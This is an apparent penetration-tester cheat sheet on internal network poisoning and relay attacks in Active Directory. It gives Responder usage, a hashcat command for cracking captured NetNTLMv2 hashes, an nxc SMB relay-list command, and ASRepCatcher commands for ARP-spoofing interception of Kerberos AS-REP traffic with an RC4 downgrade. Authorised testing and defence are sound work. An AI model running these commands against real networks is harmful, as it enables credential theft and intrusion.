Internals - Step 2 - Poisoning and Relay

Poisoning and Relay

Responder

Responder

  • IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt
/opt/tools/Responder/ (location of Responder)

Multirelay

SMB Relay

[SMB Relay]

nxc smb [IP] --gen-relay-list relay.txt

ASRep Relay

Use ASRepCatcher to MITM AS-REP packets that are traversing across the network through ARP spoofing. This works for all users on the VLAN. This also forces Kerberos authentication to be done via RC4.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

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